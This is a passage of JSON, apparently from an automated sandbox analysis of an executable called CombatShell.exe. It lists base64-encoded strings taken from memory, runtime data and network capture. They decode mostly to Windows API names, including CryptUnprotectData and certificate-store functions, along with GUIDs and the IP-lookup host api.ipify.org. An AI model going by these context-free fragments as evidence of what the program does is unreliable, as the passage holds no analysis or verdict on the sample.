Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXdpbnJ0LWVycm9yLWwxLTEtMC5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLmlwaWZ5Lm9yZw==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbHlDb250cm9sVG9rZW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXBwUG9saWN5R2V0VGhyZWFkSW5pdGlhbGl6YXRpb25UeXBl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXBwc1VzZUxpZ2h0VGhlbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXJlRmlsZUFwaXNBTlNJ","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXJlbmVneWxIM0EgSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXNzb2NRdWVyeVN0cmluZ1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0ZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0ZsdXNoRmlyc3REZWx0YVNlY29uZHM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0ZsdXNoTmV4dERlbHRhU2Vjb25kcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QVdBVkFUVldTSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QVdBVkFUVldVU0g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QVdBVkFVQVRWV1NI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QVdBVkFVQVRWV1VTSA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"YjZmZDcxMGItZjc4My00YjFjLWFiOWMtYzY4MDk5ZGNjMGM3","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Yjc0OTU1M2ItZDk1MC01ZTAzLTYyODItMzE0NWE2MWIxMDAy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YmM3MTU3N2YtNzZlOS01ODNhLWVjZDYtNjJkMDI1MGQ5MDBm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QkNyeXB0R2VuUmFuZG9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"YmNyeXB0cHJpbWl0aXZlcy5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YmYzMDQ2NWItZTkzYy00NmZkLTljZGYtZjQxYzg5MDRhMDFm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YzEzNzYzMzgtMDk4NC00OGI4LWI5MzMtOWM3ZDc3OWZkODRk","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YzdlMDllMmEtYzY2My01Mzk5LWFmNzktMmZjY2QzMjFkMTlh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QzpcUHJvZ3JhbQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null},{"value":"Q2Evc2EvY1Jz","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2E5NjdjNzUtMDRiZi00MGI1LTlhMTYtOThiNWY5MzMyYTky","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFdpbmRvd1Byb2NX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW9FeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FwYWJpbGl0aWVz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y2NjY2NjY2NjY2NjY2NjY2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEFkZEVuY29kZWRDZXJ0aWZpY2F0ZVRvU3RvcmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEFkZEVuY29kZWRDVExUb1N0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydENsb3NlU3RvcmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydENyZWF0ZUNlcnRpZmljYXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydENyZWF0ZUNUTEVudHJ5RnJvbUNlcnRpZmljYXRlQ29udGV4dFByb3BlcnRpZXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydERlbGV0ZUNlcnRpZmljYXRlRnJvbVN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydER1cGxpY2F0ZUNlcnRpZmljYXRlQ2hhaW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydER1cGxpY2F0ZUNlcnRpZmljYXRlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydER1cGxpY2F0ZVN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEZyZWVDZXJ0aWZpY2F0ZUNoYWlu","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEZyZWVDVExDb250ZXh0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldENlcnRpZmljYXRlQ2hhaW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldEVuaGFuY2VkS2V5VXNhZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydGlmaWNhdGVz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydE9wZW5TdG9yZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydFZlcmlmeUNlcnRpZmljYXRlQ2hhaW5Qb2xpY3k=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydFZlcmlmeVRpbWVWYWxpZGl0eQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hhaW5DYWNoZVJlc3luY0ZpbGV0aW1l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hhaW5pbmdNb2Rl","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hhaW5pbmdNb2RlR0NN","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlRGlzcGxheVNldHRpbmdzRXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2hvb3NlUGl4ZWxGb3JtYXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xpZW50VG9TY3JlZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xpcEN1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VDbGlwYm9hcmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xvc2Vzb2NrZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VUaHJlYWRwb29sVGltZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VUaHJlYWRwb29sV2FpdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VUaHJlYWRwb29sV29yaw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VUb3VjaElucHV0SGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVHdWlk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZUV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29HZXRDbGFzc09iamVjdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29Jbml0aWFsaXplRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tK0VuYWJsZWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tYmF0U2hlbGw=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZVN0cmluZ0V4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZVN0cmluZ09yZGluYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdE5hbWVkUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVCdWZmZXJlZFN5bmNocm9ub3VzSW8=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVDaHVua1NpemU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVPdmVybGFwcGVkQ291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29weXJpZ2h0IDIwMTMgR29vZ2xlIEluYy4gQWxsIFJpZ2h0cyBSZXNlcnZlZC5Ob3RvIEVtb2ppUmVndWxhck1vbm90eXBlIEltYWdpbmcgLSBOb3RvIEVtb2ppVmVyc2lvbiAxLjA1IHVoTm90b0Vtb2ppTm90byBpcyBhIHRyYWRlbWFyayBvZiBHb29nbGUgSW5jLk1vbm90eXBlIEltYWdpbmcgSW5jLk1vbm90eXBlIERlc2lnbiBUZWFtRGF0YSB1bmhpbnRlZC4gRGVzaWduZWQgYnkgTW9ub3R5cGUgZGVzaWduIHRlYW0uaHR0cDovL3d3dy5nb29nbGUuY29tL2dldC9ub3RvL2h0dHA6Ly93d3cubW9ub3R5cGUuY29tL3N0dWRpb1RoaXMgRm9udCBTb2Z0d2FyZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgU0lMIE9wZW4gRm9udCBMaWNlbnNlLCBWZXJzaW9uIDEuMS4gVGhpcyBGb250IFNvZnR3YXJlIGlzIGRpc3RyaWJ1dGVkIG9uIGFuICJBUyBJUyIgQkFTSVMsIFdJVEhPVVQgV0FSUkFOVElFUyBPUiBDT05ESVRJT05TIE9GIEFOWSBLSU5ELCBlaXRoZXIgZXhwcmVzcyBvciBpbXBsaWVkLiBTZWUgdGhlIFNJTCBPcGVuIEZvbnQgTGljZW5zZSBmb3IgdGhlIHNwZWNpZmljIGxhbmd1YWdlLCBwZXJtaXNzaW9ucyBhbmQgbGltaXRhdGlvbnMgZ292ZXJuaW5nIHlvdXIgdXNlIG9mIHRoaXMgRm9udCBTb2Z0d2FyZS5odHRwOi8vc2NyaXB0cy5zaWwub3JnL09GTA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29VbmluaXRpYWxpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q291bnRDbGlwYm9hcmRGb3JtYXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRENX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRElCaXRtYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRXZlbnRFeFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRXZlbnRX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZU1hcHBpbmdB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZU1hcHBpbmdX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSGFyZExpbmtX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSWNvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSWNvbkZyb21SZXNvdXJjZUV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSW9Db21wbGV0aW9uUG9ydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlTXV0ZXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlTmFtZWRQaXBlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlUHJvY2Vzc1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlUmVjdFJnbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlU2VtYXBob3JlRXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlU2VtYXBob3JlVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlU3ltYm9saWNMaW5rVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFkcG9vbFRpbWVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFkcG9vbFdhaXQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFkcG9vbFdvcms=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlV2FpdGFibGVUaW1lckV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlV2luZG93RXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y3J5cHQzMi5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRBY3F1aXJlQ29udGV4dFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRCaW5hcnlUb1N0cmluZ0E=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHREZWNvZGVPYmplY3RFeA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHREZXN0cm95S2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRFbmNvZGVPYmplY3RFeA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRIYXNoQ2VydGlmaWNhdGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRJbXBvcnRLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRNc2dFbmNvZGVBbmRTaWduQ1RM","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRuZXRQcmVGZXRjaFRyaWdnZXJQZXJpb2RTZWNvbmRz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRSZWxlYXNlQ29udGV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRTdHJpbmdUb0JpbmFyeUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRVbnByb3RlY3REYXRh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDNEJChI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDNEJEBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDlEJDB0I0g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDlEJDB0Jkg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDtEJDhz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQgSDtEJEB2UUg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQnPGZ1Y0g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQoSDNEJDhIM0QkMEgzRCRASA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQoSDlEJFBy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQoSDlEJFB1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQoSDtEJHh2Kw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQvPGZ1Vkg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJDh0Mg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJEB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJEB3XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJGB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQwSDtEJEh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQ4SDlEJFh3Vg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQ4SDtEJEB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQ4SDtEJFB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCQ4SGtEJHAwSQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRASDlEJGBySA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRASDtEJEh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRcO0QkZHRg","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISCtEJGBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDlEJFh1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRoSDtEJHBy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFBy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFBySA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFB0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFB0Mg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRISDtEJFB2LQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSCtEJEhI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDlEJHB1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDtEJEhy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDtEJGh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RCRQSDtEJFhy","type":"Ansi","source":"Memory/File 